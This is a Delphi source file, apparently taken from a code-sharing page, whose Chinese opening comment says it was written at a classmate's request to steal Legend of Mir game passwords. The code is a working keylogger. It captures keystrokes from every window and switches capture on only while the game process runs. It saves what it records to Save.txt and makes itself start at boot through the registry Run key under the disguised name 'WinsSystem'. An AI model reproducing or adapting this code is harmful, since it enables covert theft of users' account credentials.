?? main.~pas
字號:
unit main;
{受同學之邀,要我寫個盜傳奇密碼的程序,以前從沒有搞過,不知從何下手
知道原理是鍵盤記錄這方面的,所以寫了個很簡單的鍵盤記錄器罷了,并不
是什么密碼截取器.
(以TEST.EXE為例)本程序是通過幾個時鐘控件,一個用來監視}
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls, Registry;
type
Tw_main = class(TForm)
Timer_keyrec: TTimer;
Timer_savetxt: TTimer;
Memo_gettxt: TMemo;
Timer_thread: TTimer;
Label_thread: TLabel;
procedure Timer_keyrecTimer(Sender: TObject);
procedure Timer_savetxtTimer(Sender: TObject);
procedure Timer_threadTimer(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
w_main: Tw_main;
implementation
uses public_fun;
var
F:Textfile;
{$R *.DFM}
//Detect Press Key From any window
procedure Tw_main.Timer_keyrecTimer(Sender: TObject);
var
i : byte;
begin
for i:=8 To 222 do
begin
if GetAsyncKeyState(i)=-32767 then
begin
case i of
8 : Memo_gettxt.Lines[Memo_gettxt.Lines.count-1] := copy(Memo_gettxt.Lines[Memo_gettxt.Lines.count-1],1,length(Memo_gettxt.Lines[Memo_gettxt.Lines.count-1])-1); //Backspace
9 : Memo_gettxt.text:=Memo_gettxt.text+'[Tab]';
13 : Memo_gettxt.text:=Memo_gettxt.text+#13#10; //Enter
17 : Memo_gettxt.text:=Memo_gettxt.text+'[Ctrl]';
27 : Memo_gettxt.text:=Memo_gettxt.text+'[Esc]';
32 :Memo_gettxt.text:=Memo_gettxt.text+' '; //Space
// Del,Ins,Home,PageUp,PageDown,End
33 : Memo_gettxt.text := Memo_gettxt.text + '[Page Up]';
34 : Memo_gettxt.text := Memo_gettxt.text + '[Page Down]';
35 : Memo_gettxt.text := Memo_gettxt.text + '[End]';
36 : Memo_gettxt.text := Memo_gettxt.text + '[Home]';
//Arrow Up Down Left Right
37 : Memo_gettxt.text := Memo_gettxt.text + '[Left]';
38 : Memo_gettxt.text := Memo_gettxt.text + '[Up]';
39 : Memo_gettxt.text := Memo_gettxt.text + '[Right]';
40 : Memo_gettxt.text := Memo_gettxt.text + '[Down]';
44 : Memo_gettxt.text := Memo_gettxt.text + '[Print Screen]';
45 : Memo_gettxt.text := Memo_gettxt.text + '[Insert]';
46 : Memo_gettxt.text := Memo_gettxt.text + '[Del]';
145 : Memo_gettxt.text := Memo_gettxt.text + '[Scroll Lock]';
//Number 1234567890 Symbol !@#$%^&*()
48 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+')'
else Memo_gettxt.text:=Memo_gettxt.text+'0';
49 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'!'
else Memo_gettxt.text:=Memo_gettxt.text+'1';
50 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'@'
else Memo_gettxt.text:=Memo_gettxt.text+'2';
51 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'#'
else Memo_gettxt.text:=Memo_gettxt.text+'3';
52 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'$'
else Memo_gettxt.text:=Memo_gettxt.text+'4';
53 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'%'
else Memo_gettxt.text:=Memo_gettxt.text+'5';
54 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'^'
else Memo_gettxt.text:=Memo_gettxt.text+'6';
55 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'&'
else Memo_gettxt.text:=Memo_gettxt.text+'7';
56 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'*'
else Memo_gettxt.text:=Memo_gettxt.text+'8';
57 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'('
else Memo_gettxt.text:=Memo_gettxt.text+'9';
65..90 : // a..z , A..Z
begin
if ((GetKeyState(VK_CAPITAL))=1) then
if GetKeyState(VK_SHIFT)<0 then
Memo_gettxt.text:=Memo_gettxt.text+LowerCase(Chr(i)) //a..z
else
Memo_gettxt.text:=Memo_gettxt.text+UpperCase(Chr(i)) //A..Z
else
if GetKeyState(VK_SHIFT)<0 then
Memo_gettxt.text:=Memo_gettxt.text+UpperCase(Chr(i)) //A..Z
else
Memo_gettxt.text:=Memo_gettxt.text+LowerCase(Chr(i)); //a..z
end;
//Win
// 91 : Memo_gettxt.text:=Memo_gettxt.text+'[LWin]';
// 92 : Memo_gettxt.text:=Memo_gettxt.text+'[RWin]';
//Numpad
96..105 : Memo_gettxt.text:=Memo_gettxt.text + inttostr(i-96); //Numpad 0..9
106:Memo_gettxt.text:=Memo_gettxt.text+'*';
107:Memo_gettxt.text:=Memo_gettxt.text+'&';
109:Memo_gettxt.text:=Memo_gettxt.text+'-';
110:Memo_gettxt.text:=Memo_gettxt.text+'.';
111:Memo_gettxt.text:=Memo_gettxt.text+'/';
144 : Memo_gettxt.text:=Memo_gettxt.text+'[Num Lock]';
112..123: //F1-F12
Memo_gettxt.text:=Memo_gettxt.text+'[F'+IntToStr(i - 111)+']';
186 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+':'
else Memo_gettxt.text:=Memo_gettxt.text+';';
187 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'+'
else Memo_gettxt.text:=Memo_gettxt.text+'=';
188 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'<'
else Memo_gettxt.text:=Memo_gettxt.text+',';
189 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'_'
else Memo_gettxt.text:=Memo_gettxt.text+'-';
190 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'>'
else Memo_gettxt.text:=Memo_gettxt.text+'.';
191 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'?'
else Memo_gettxt.text:=Memo_gettxt.text+'/';
192 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'~'
else Memo_gettxt.text:=Memo_gettxt.text+'`';
219 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'{'
else Memo_gettxt.text:=Memo_gettxt.text+'[';
220 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'|'
else Memo_gettxt.text:=Memo_gettxt.text+'\';
221 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'}'
else Memo_gettxt.text:=Memo_gettxt.text+']';
222 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'"'
else Memo_gettxt.text:=Memo_gettxt.text+'''';
end;
end;
end;
end;
procedure Tw_main.Timer_savetxtTimer(Sender: TObject);
begin
Assignfile(F,'Save.txt');
if not FileExists('Save.txt') Then
begin
Rewrite(F);
Closefile(F);
End
Else
Assignfile(F,'Save.txt');
{$I-}
Append(F);
{$I+}
If IOResult<> 0 Then
Begin
ShowMessage('Cannot Open File');
End;
Write(F,Memo_gettxt.Text);
Memo_gettxt.Clear;
Closefile(F);
end;
procedure Tw_main.Timer_threadTimer(Sender: TObject);
begin
if detecthread('testmir.exe')='exist' then
begin
label_thread.Caption:='thread is Exist';
timer_keyrec.Enabled:=true;
end
else
begin
label_thread.Caption:='thread is NOTexist';
timer_keyrec.Enabled:=false;
end;
end;
procedure Tw_main.FormCreate(Sender: TObject);
var
regis_mymir:TRegistry;
begin
regis_mymir:=TRegistry.Create();
regis_mymir.RootKey:=HKEY_LOCAL_MACHINE;
regis_mymir.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
regis_mymir.WriteString('WinsSystem',ExtractFilename(Application.ExeName));
regis_mymir.Free;
end;
end.
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -